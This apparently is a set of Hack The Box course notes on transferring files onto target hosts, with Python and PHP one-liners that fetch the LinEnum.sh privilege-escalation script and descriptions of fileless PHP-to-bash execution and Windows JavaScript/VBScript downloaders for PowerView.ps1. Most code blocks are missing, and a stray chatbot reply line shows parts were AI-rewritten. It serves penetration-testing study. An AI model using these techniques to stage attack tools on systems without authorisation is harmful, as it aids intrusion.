Downloading Files

Python

Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exists. Python can run one-liners from an operating system command line using the option -c. Let's see some examples:

Python 2 - Download

z3tssu@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Download

z3tssu@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP File Transfers

Did you know PHP powers over 77% of websites with a known server-side language? 🀯 So when you’re doing offensive security, expect to see PHP a lot β€” and it has some very handy tricks for transferring files. βš”οΈ

Let’s dive into 3 solid ways to download files using PHP β€” from saving to disk to fileless piping into bash!


PHP Download and save a file locally:

This is the quick and dirty one-liner

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'

πŸ“Œ This does:

  1. Fetches the remote file using file_get_contents() 🌐

  2. Saves it as LinEnum.sh using file_put_contents() πŸ’Ύ


PHP Download Using fopen() + Buffer Read

Want more control or need to download large files? Use fopen() with a buffer:

βœ… Benefits:

  • Handles large files better

  • Allows buffered downloads (less memory, smoother transfers) 🧠


Fileless PHP Execution

Just like with curl or wget, PHP can download and pipe code directly into bash:

πŸ“Œ This will:

  • Download the file line-by-line with file()

  • Echo the contents to stdout

  • Pipe it straight to bash for execution πŸš€

No files saved = stealthier ops πŸ•΅οΈβ€β™‚οΈ


Ruby – Download a File

πŸ“Œ What’s happening?

  • require "net/http": loads Ruby’s HTTP client πŸ“‘

  • Net::HTTP.get(...): fetches the file 🌍

  • File.write(...): saves it locally as LinEnum.sh πŸ’Ύ

Super clean and easy for Ruby fans!


Perl – Download

πŸ“Œ What’s going on?

  • use LWP::Simple: loads Perl’s web request module πŸ“‘

  • getstore(...): grabs the file and saves it locally πŸ’½

Absolutely! Here's your JavaScript-based file download guide, rewritten in a fun, clear, and engaging format β€” perfect for anyone exploring Windows scripting tricks! πŸ’»πŸ“¦πŸŽ―


JavaScript for File Downloads on Windows


πŸ’Ύ The Plan: Download a File Using JavaScript + cscript.exe

We’ll create a tiny JavaScript file that:

  1. Opens a web request 🌐

  2. Fetches a remote file πŸ“¦

  3. Saves it to disk πŸ’½


πŸ“ Step 1: Create wget.js

Create a file named wget.js and paste this code inside:

πŸ“Œ This script:

  • Uses WinHttpRequest to download the file

  • Streams the binary data using ADODB.Stream

  • Saves the result to the specified local file


βš™οΈ Step 2: Execute with cscript.exe

Run the script with:

πŸ“Œ Breakdown:

  • /nologo: hides the banner clutter 🧹

  • wget.js: your script

  • First argument: URL to download

  • Second argument: Local filename to save as

πŸŽ‰ Result: The PowerView.ps1 script is downloaded and saved right in your current directory!


VBScript File Downloads on Windows

VBScript (Visual Basic Scripting Edition) is an old-school but still useful scripting language baked into Windows since the days of Windows 98! πŸ’Ύ

And guess what? You can use it to download files from the internet β€” no external tools required! Perfect for Red Teaming, CTFs, or locked-down environments. πŸ•΅οΈβ€β™‚οΈπŸ”


Step 1: Create wget.vbs

Open Notepad (or any text editor) and paste this code:

πŸ“Œ What's happening:

  • Microsoft.XMLHTTP β†’ sends the GET request 🌐

  • Adodb.Stream β†’ handles the binary file stream πŸ’Ύ

  • Arguments = URL to download + local file to save as


Step 2: Run It with cscript.exe

Open Command Prompt or PowerShell, then run:

πŸ“Œ What it does:

  • Downloads the PowerView.ps1 script from GitHub

  • Saves it as PowerView2.ps1 in the current folder

βœ… No PowerShell, curl, or bitsadmin needed!


πŸ’‘ Bonus Tip

If HTTPS fails (older systems), you can host your files on a local web server using HTTP (e.g., Python http.server), then fetch using VBScript like this:


Last updated